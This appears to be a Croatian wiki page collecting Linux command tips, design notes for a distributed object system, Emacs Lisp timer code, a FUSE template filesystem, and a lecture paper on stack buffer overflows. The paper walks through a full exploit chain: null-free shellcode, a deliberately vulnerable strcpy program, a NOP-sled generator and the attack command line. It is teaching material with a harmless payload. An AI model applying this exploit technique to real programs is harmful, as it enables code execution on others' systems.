Ponekad se dogodi da smo pronašli ili konstruirali nekakvu relativno složenu komandnu liniju i ne želimo kroz taj proces prolaziti ponovo. Ovo mjesto je zamišljeno kao mala baza takvih znanja -- navalite!
Xnest

Startavanje Xnesta sa nekim window managerom (npr./usr/local/bin/rvwm):

xinit /usr/local/bin/rvwm -- /usr/X11R6/bin/Xnest :1 -geometry 800x600 -ac

ili

Xnest :1
DISPLAY=:1 /usr/local/bin/rvwm

(druga varjanta ponekad ne radi)

Router

Imate wireles karticu /dev/wlan0, i izlazak na internet preko /dev/eth0 i želite postati router ostatku ekipe:

echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -o wlan0 -j MASQUERADE na "serveru"
a route add default gw "server-ip" na clientu

Prženje CD-a

cdrecord -scanbus dev=ATA

skanira uređaje, a

cdrecord -v dev=ATA:a,b,c img.iso

prži cd. Parametre a b i c prepišemo iz izlaza scanbusa

X background

Mjenja defaultnu pozadinu X-a

xsetroot -solid color

Automatsko startanje Screena

if [ "$STY" = "" ]; then
exec screen -RR
fi

stavi u ~/.bashrc

original Dec 14 5:56am

• radjeno po papiru iz 70tih. autor je kasnije radio na dizajnu UDP protocola, sto govori o samoj filozofiji namosa.
• trenutno Linux 64bit. uzimamo sve sta mozemo sta nam omogucava brzi razvoj.
• kasnije cemo ic nazad, trazit kako radit na 32bit linux, pa window, i idealno ANSI Lisp.
• kocept pseudo vremena je kljucan
• namos objekt je za sada skalar, jedna vrijednost.
• objekt ima tri metode: create, lookup, destroy.
• svaki objekt ima 1. host, 2. pseudo-vrijeme, 3. vrijednost, 4. transakciju
• sigurnost, sinhronizacija vremena servera, i jos puno drugih bitnih pitanja nisu trenutno rjesavana
• greske nisu iznimka, nego sastavni dio dizajna sistema
• nema nikakve garancije da ce akcija uspit, prvi koji stigne izvrsit akciju uspije, ostali vrate gresku
• pseudo-vremenska okruzenja
• sve je stalno asinhrono
• mozemo ga napravit sinhrono, ali bi program bio sporiji od spektruma
• steamova nema, sve su paketi, i totalno nezavisni, nepovezani,
• paket moze pitat: koja je vrijednost u vremenu t1? odogovor je 5, i to je sve.
• 1 UDP paket je jedan objekt. bez stanja. vrijeme i UUID drugog objekta (ili ID tranzakcije?) su jedino zajednicko.
• ako paket propadne, pokusat cemo opet.
• klasicne operacije su kratke
• hrpa threadova cita sa istog queue, nema optimizacije, cachiranja threadova
• primanje i slanje poruka je jedna od glavnih komponenata sistema
• za svaki paket se dize novi thread
• UUID, ptime, value, poss-desc (transakcija)
• sve uvijek zivi pod tranasakcijom, cak i jedno jedino citanje vrijednost.
• moglo bi se sve radit pod root tranasakcijom, ali to nema smisla
• time-out je sastavni dio sistema, paradigma
• koncept deffered execution (Twisted to ima), ako primatelj ne zna sto sa paketom, zamota ga u lambdu spremi, i oslobodi thread.
• roditelj moze, ali ne mora cekat djecu da zavrse, da bi commit transakciju. kad roditelj commita, nezarsena djeca se podizu u roditelje.

• possiblities
• uuid, parent, state, commit, abort, host, ?
• abort/commt problemi su veliki
• koristi se linux futex

Page renamed to NamosBiljeske

(setq *work-time-start* 8)
(setq *work-time-end* 16)

;(setq *work-day-dow-table* [nil (9 . (17 30)) (9 . (17 30)) (9 . (17 30)) (9 . (17 30)) (9 . (14 30)) nil])

(defun wt-dow-update-start-end nil
  (let ((beg-end (aref *work-day-dow-table* (nth 6 (decode-time (current-time))))))
    (if beg-end (setq *work-time-start* (car beg-end) *work-time-end* (cdr beg-end))
      (setq *work-time-start* 0 *work-time-end* 0))))

(setq *work-time-statuslen* 16)

(defmacro def-extract-if-list (name fun &optional ret)
  `(defun ,name (val)
     (if (listp val) (,fun val)
       ,(if ret ret 'val))))

(def-extract-if-list wt-hour first)
(def-extract-if-list wt-minutes second 0)

(defun work-time-update nil
  (when *work-day-dow-table* (wt-dow-update-start-end))
  (let* ((now (current-time))
	 (today (let ((dcd-now (decode-time now)))
		  `(,(nth 3 dcd-now) ,(nth 4 dcd-now) ,(nth 5 dcd-now))))
	 (start-time (apply #'encode-time (append (list 0 (wt-minutes *work-time-start*) (wt-hour *work-time-start*)) today)))
	 (end-time (apply #'encode-time (append (list 0 (wt-minutes *work-time-end*) (wt-hour *work-time-end*)) today))))
    (labels ((status-string-format (perc)
				   (cond ((< perc 0) ":(")
					 ((> perc 1) ":))")
					 (t (let* ((filled (round (* perc *work-time-statuslen*)))
						   (empty (- *work-time-statuslen* filled)))
					      (concat "[ (make-string filled ?#) (make-string empty ?\ ) ]")))))
	     (elapsed-percentage (from to now) (/ (float (- now from))(- to from)))
	     (total-sec (time) (+ (* 65536 (car time)) (cadr time))))
      (setq wt-status-string
	    (status-string-format
	     (elapsed-percentage (total-sec start-time) (total-sec end-time) (total-sec now)))))))

(push #'work-time-update display-time-hook)

;

(defun wt-status-displayed nil
  (member 'wt-status-string global-mode-string))

(defun wt-add-status nil
  (setq global-mode-string (append global-mode-string '(wt-status-string))))

(defun wt-remove-status nil
  (setq global-mode-string (remove 'wt-status-string global-mode-string)))

(defun work-time-status-toggle nil
  (interactive)
  (funcall (if (wt-status-displayed) #'wt-remove-status #'wt-add-status)))

;

(setq wt-status-string (work-time-update))

original Aug 30 4:20am

attachment:conf_paper.pdf ili
kompajlirate sa pdflatex conf.tex

%conf.tex
\documentclass[a4paper, 10pt]{article}
\usepackage[croatian]{babel}
\author{Alan Pavi\v{c}i\'{c}\\ \textsf{akapav@gmail.com}}
\title{Buffer overflow}
\setlength{\parindent}{0pt}
\setlength{\parskip}{1ex plus 0.5ex minus 0.2ex}
\addtolength{\hoffset}{-1cm}
\begin{document}
\maketitle
\vspace{1cm}

U ovom papiru \'{c}emo pokazati osnovne tehnike {\it buffer overflow
exploita}. S obzirom da je papir prate\'{c}i materijal uz predavanje na
istu temu, izostavit \'{c}emo uvod u x86 asembler i {\it calling
convencije} o kojima \'{c}e biti rije\v{c}i u \v{z}ivo

Osnovna ideja ovakvih programa je da iskoriste memoriju alociranu na
{\it stacku} za nekakve korisni\v{c}ke podatke, te da u nju upi\v{s}u
vlastiti kod. Samo aktiviranje tog koda se radi tako da se pregazi
{\it return aresa}, podatak koji se tako\dj{}er nalazi na stacku i
slu\v{z}i da bi funkcije znale odakle su pozvane te kuda se moraju
vratiti. Umjesto originalne return adrese podme\'{c}e se neka druga,
na kojoj le\v{z}i uba\v{c}eni kod nakon \v{c}ega se mo\v{z}e
izvr\v{s}iti proizvoljna akcija sa pod istim onim ovlastima koje je
imao i vlasnik napadnutog programa

Akcija koju \'{c}emo mi izvr\v{s}avati prilikom ovog eksperimenta je
varijacija na temu popularnog hello worlda

Po\v{c}eti \'{c}emo sa vrlo malim hello world programom koji je
napisan u gcc-ovom inline asembleru, a pisanje na ekran radi preko
sistemskog poziva (primjetite da ovdje radi jednostavnosti sistemske
pozive radimo sa staromodnim $int$ $0x80$ umijesto pomo\'{c}u mnogo
br\v{z}eg $sysenter$a)

Pisanjem programa u asembleru i pozivima direktno u kernel dobivamo
manje i neovisnije programe koji \'{c}e se lak\v{s}e mo\'{c}i
izvr\v{s}avati na nepoznatim ra\v{c}unalima

\begin{verbatim}
int main(void)
{
  __asm__ (" \
            movl $3, %edx;       \
            movl $LBL, %ecx;     \
            movl $1, %ebx;       \
            movl $4, %eax;       \
            int $0x80;           \
            movl $1, %eax;       \
            int $0x80;           \
LBL:        .ascii \"aka\";      \
");
}
\end{verbatim}

Iako malen i jednostavan. prethodni program ima ozboljan problem -- naime
u liniji $movl LBL, \%ecx$ baratamo sa apsolutnom adresom, te
ovakav komad koda se ne mo\v{z}e izvr\v{s}avati na proizvoljnim
memorijskim lokacijama. Zbog toga isti program jo\v{s} jednom
prepisujemo, ali umjesto apsolutnog $movl$a, korisitmo relativne $jmp$
i $call$. Obratite pa\v{z}nju da se $call$ koristi za dohvat adrese
na kojoj se nalazi string
  
\begin{verbatim}
int main(void)
{
  __asm__ (" \
            jmp LBL;             \
GO:         pop %esi;            \
            movl $3, %edx;       \
            movl %esi, %ecx;     \
            movl $1, %ebx;       \
            movl $4, %eax;       \
            int $0x80;           \
            movl $1, %eax;       \
            int $0x80;           \
LBL:        call GO;             \
            .ascii \"akb\";      \
");
}
\end{verbatim}

Sad imamo rade\'{c}u {\it relokatibilnu} rutinu. Sljede\'{c}i korak je
izbaciti sve nule koje se nalaze u binarnom kodu napisanog
programa. Naime, s obzirom da \'{c}emo koristiti $strcpy$ funkciju za
ubacivanje na\v{s}eg bloka byteova, moramo se osigurati da kopiranje
ne stane prije nego smo planirali. Klasi\v{c}na tehnika punjenja neke
vrijednosti sa nula je da se ta vrijednost jednostavno $xor$a sa samom
sobom. Program izgleda malo slo\v{z}enije, ali je i poprimio svoj
kona\v{c}ni oblik

\begin{verbatim}
int main(void)
{
  __asm__ (" \
            jmp LBL;             \
GO:         pop %esi;            \
            xor %edx, %edx;      \
            movb $3, %dl;        \
            movl %esi, %ecx;     \
            xor %ebx, %ebx;      \
            movb $1, %bl;        \
            xor %eax, %eax;      \
            movb $4, %al;        \
            int $0x80;           \
            xor %eax, %eax;      \
            movb $1, %al;        \
            int $0x80;           \
LBL:        call GO;             \
            .ascii \"akc\";      \
");
\end{verbatim}

U datoteci {\it prog1.py} \'{c}emo jo\v{s} jednom napisati isti
program, samo umjesto standardnih simbola za asemblerske instrukcije,
koristimo numeri\v{c}ke vrijednosti spremljeno u jedno $python$
polje. Do samih vriednosti smo do\v{s}li koriste\'{c}i program
$objdump$

\begin{verbatim}
seq = [
    0xeb, 0x17,       #jmp    LBL
    #GO:
    0x5e,             #pop %esi
    0x31, 0xd2,       #xor %edx,%edx
    0xb2, 0x03,       #mov $0x3,%dl
    0x89, 0xf1,       #mov %esi,%ecx
    0x31, 0xdb,       #xor %ebx,%ebx
    0xb3, 0x01,       #mov $0x1,%bl
    0x31, 0xc0,       #xor %eax,%eax
    0xb0, 0x04,       #mov $0x4,%al
    0xcd, 0x80,       #int $0x80
    0x31, 0xc0,       #xor %eax,%eax
    0xb0, 0x01,       #mov $0x1,%al
    0xcd, 0x80,       #int $0x80
    #LBL:
    0xe8, 0xe4, 0xff, 0xff, 0xff, #callq  GO
    0x61, 0x6b, 0x64
    ]
\end{verbatim}

{\it bindump.py} je program koji kao argument prima ime datoteke poput
prethodne, a generira binarni file na standardnom outputu (npr:
$python.py prog1$ gdje je $prog1$ ime prethodne datoteke)

\begin{verbatim}
#!/usr/bin/python -u

import array
import sys
import signal

signal.signal(signal.SIGPIPE, signal.SIG_DFL)

mdl = __import__(sys.argv[1])

arr = array.array("B")
arr.fromlist(mdl.seq);
arr.tofile(sys.stdout)
\end{verbatim}

Da bismo se uvjerili da sve do sada radi, pokrenimo sljede\'{c}i
program\v{c}i\'{c} i na standardni ulaz mu treba dati izlaz iz
$bindump.py$. Ukoliko je sve u redu, program \'{c}e dobivene byteove
spremiti na heap, te \'{c}e ih izvr\v{s}iti kao da su regularna
funkcija

\begin{verbatim}
#include <stdio.h>
#include <stdlib.h>

unsigned char* read_stream(FILE *fp)
{
  static const size_t block_size = 1024;
  unsigned char* buff = NULL;
  int cnt = 0;
  do {
    buff = (unsigned char*)realloc(buff, (cnt + 1) * block_size);
    fread(buff + cnt++ * block_size, block_size, 1, fp);
  } while(!feof(fp));
  return buff;
}

int main(void)
{
  typedef void(*fun_t)(void);
  unsigned char *buff = read_stream(stdin);
  ((fun_t)(buff))();
  free(buff);
  return 0;
}
\end{verbatim}

Evo i "\v{z}rtve". Ovaj program \'{c}emo izvrgnuti napadu. Iako ovako
u laboratorijskim uvjetima izgleda vrlo naivno, strcpy iz velikog
buffera u ne\v{st}o manji se jo\v{s} uvijek mo\v{z}e na\'{c} i u
stvarnom svijetu_

\begin{verbatim}
#include <stdio.h>
#include <string.h>

void broken_fun(const char* src)
{
  char dst[256];
  printf("len: %d\n", strlen(src));
  printf("%x\n", dst);
  strcpy(dst, src);
}

int main(void)
{
  char buff[512];
  fgets(buff, 512, stdin);
  broken_fun(buff);
  return 0;
}
\end{verbatim}

{\it seqgen.py} je jo\v{s} jedan pomo\'{c}ni program\v{c}i\'{c}. S
obzirom da prilikom poku\v{s}aja ubacivanja na\v{s}eg koda u tu\dj{}i
program nismo uvijek to\v{c}no sigurni gdje se nalazi po\v{c}etak memorije
u koju se useljavamo ili gdje se nalazi return adresa koju treba
promjeniti, ovaj program nam generira na osnovu pravih_ bytova
koje \'{c}emo upotrebiti za exploit novu datoteku u kojoj se na
po\v{c}etku nalazi proizvoljan broj $nop$ instrukcija, a na kraju isto
tako proizvoljan broj return adresa. Sada nam poga\dj{}anje_ izgleda
puno lak\v{s}e

\begin{verbatim}
 #!/usr/bin/python -u

import sys
import array
import signal

signal.signal(signal.SIGPIPE, signal.SIG_DFL)

arr = array.array("B")
arr.fromlist([0x90 for _ in range(int(sys.argv[1]))]);
arr.tofile(sys.stdout)

sys.stdout.write(sys.stdin.read())

arr = array.array("L")
arr.fromlist([int(sys.argv[2], 16) for _ in range(int(sys.argv[3]))])
arr.append(0x0a0a0a0a)
arr.tofile(sys.stdout)
\end{verbatim}

Kao ulazne argumente skripta uzima 3 broja -- broj $nop$ova prije rutine
za napad, vrijednost nove return adrese te koliko puta \'{c}emo tu
adresu upisati na stack. Rutinu za napad prima sa standardnog ulaza i
samo je prepisuje na izlaz

Ukoliko program \v{z}rtvu_ iskompajliramo sa
\begin{verbatim}
gcc ovfl.c -O -g -o ovfl
\end{verbatim}
pokretanje napada se moze napraviti sa npr. 
\begin{verbatim}
./bindump.py prog1 | ./seqgen.py 103 0xbffff102 50 | ./ovfl
\end{verbatim}
Ukoliko ne pro\dj{}e iz prve, return adresu treba na\v{s}timati tako
da bude ne\v{s}to ve\'{c}a nego po\v{c}etak bufera (broj koji se
ispisuje iz $ovfl$ programa)

Ako vam je eksperiment uspio zna\v{c}i da nemate dobro pode\v{s}en
sustav, te kao root otkucajte
\begin{verbatim}
echo 1 > /proc/sys/kernel/randomize_va_space
\end{verbatim}
i eksperiment sada ponovite ;)

\end{document}

original May 11 5:10am

(setq work-time-start 9)
(setq work-time-end 17)
(setq work-time-statuslen 16)

;

(defun work-time-update nil
  (let* ((now (current-time))
(today (let ((dcd-now (decode-time now)))
`(,(nth 3 dcd-now) ,(nth 4 dcd-now) ,(nth 5 dcd-now))))
(start-time (apply #'encode-time (append (list 0 0 work-time-start) today)))
(end-time (apply #'encode-time (append (list 0 0 work-time-end) today))))
(labels ((status-string-format (perc)
(cond ((< perc 0) ":(")
((> perc 1) ":))")
(t (let* ((filled (round (* perc work-time-statuslen)))
(empty (- work-time-statuslen filled)))
(concat "[ (make-string filled ?#) (make-string empty ?\ ) ]")))))
(elapsed-percentage (from to now) (/ (float (- now from))(- to from)))
(total-sec (time) (+ (* 65536 (car time)) (cadr time))))
(setq wt-status-string
(status-string-format
(elapsed-percentage (total-sec start-time) (total-sec end-time) (total-sec now)))))))

(push #'work-time-update display-time-hook)

;

(defun wt-status-displayed nil
  (member 'wt-status-string global-mode-string))

(defun wt-add-status nil
  (setq global-mode-string (append global-mode-string '(wt-status-string))))

(defun wt-remove-status nil
  (setq global-mode-string (remove 'wt-status-string global-mode-string)))

(defun work-time-status-toggle nil
  (interactive)
  (funcall (if (wt-status-displayed) #'wt-remove-status #'wt-add-status)))

;

(setq wt-status-string (work-time-update))

;;;todo
;;add minutes
;;works only as display time hook

original Aug 7 2:45am

evo trivijalno male verzije template file systema koja koristi fuse i empy libraryje

import em
import os
import mmap
import sys
import thread

from fuse import Fuse

active_module='__main__' #hack!!

def transform(file):
	tf = os.tmpfile()
	i = em.Interpreter(output=tf)
	i.include(file, sys.modules[active_module].__dict__)
	tf.flush()
	mm = mmap.mmap(tf.fileno(), os.fstat(tf.fileno()).st_size)
	return mm

class TmpltFS(Fuse):
	def __init__(self, *args, **kw):
		Fuse.__init__(self, *args, **kw)
		self.mountpoint = '/tmp/etc'
		self.multithreaded = 1
		self.template_dir='/tmp/template'

	def getdir(self, path):
		return map(lambda x: (x,0), os.listdir(self.template_dir + path))

	def getattr(self, path):
		return os.lstat(self.template_dir + path)
	
	def open(self, path, flags):
		os.close(os.open(self.template_dir + path, flags))
		return 0
	
	def read(self, path, len, offset):
		f = transform(self.template_dir + path)
		f.seek(offset)
		return f.read(len)

	def release(self, path, flags):
#		print path + ' >> close\n'
		return 0
	
#if __name__ == '__main__':
#	t()

def t():
	server = TmpltFS()
	server.main()

def run():
	thread.start_new_thread(t, ())

a koristi se ovako:

primjer Makefilea

import os

def gcc_mm(file):
    i,o,e = os.popen3(cc + ' -MM ' + file)
    ret = o.readline()
    return ret

def mkf_entry(_file):
    return gcc_mm(_file) + "\t" + cc + " -c " + _file + "\n\n"

def mk_head(flist):
    ret = "all: "
    for f in flist:
        ret += f[:-1] + 'o '
    return ret + "\n\t" + cc + " -o $@ $^\n\n"
    
def make_make(flist):
    lst = mk_head(flist)
    for f in flist:
        lst += mkf_entry(f)
    return lst

cc = 'gcc'

def get_cc():
    return cc

l = ['f1.c', 'f2.c']

i

CC=@make.cc
@{print make.make_make(make.l)}

ili (konfiguracija proftpd-a)

class ProFtpd:
    def __init__(self):
        self.name = 'Konferencija open source 2006'
        self.default_server = True
        self.require_valid_shell = False
        self.port = 8021
        self.umask = '022'
        self.max_instances = 10
        self.user = 'aka'
        self.group = 'users'
        self.allow_overwrite = True

def on_off(arg):
    if arg:
        return 'on'
    return 'off'

proftpd = ProFtpd()

i

# proftpd.conf template
# 
ServerName          "@proftpd.name"
ServerType          standalone
DefaultServer       @(on_off(proftpd.default_server))
RequireValidShell   @(on_off(proftpd.require_valid_shell))
AuthPAM             off
AuthPAMConfig       ftp

Port				@proftpd.port
Umask				@proftpd.umask

MaxInstances			@proftpd.max_instances

User				@proftpd.user
Group				@proftpd.group

<Directory />
  AllowOverwrite		@(on_off(proftpd.allow_overwrite))
</Directory>

<Anonymous ~ftp>
  User				ftp
  Group				ftp

  # We want clients to be able to login with "anonymous" as well as "ftp"
  UserAlias			anonymous ftp

  # Limit the maximum number of anonymous logins
  MaxClients			10

  # We want 'welcome.msg' displayed at login, and '.message' displayed
  # in each newly chdired directory.
  DisplayLogin			welcome.msg
  DisplayFirstChdir		.message

  # Limit WRITE everywhere in the anonymous chroot
  <Limit WRITE>
    DenyAll
  </Limit>

</Anonymous>

... detalji o teoretskom djelu sljede uskoro ...

original Jun 17 10:04am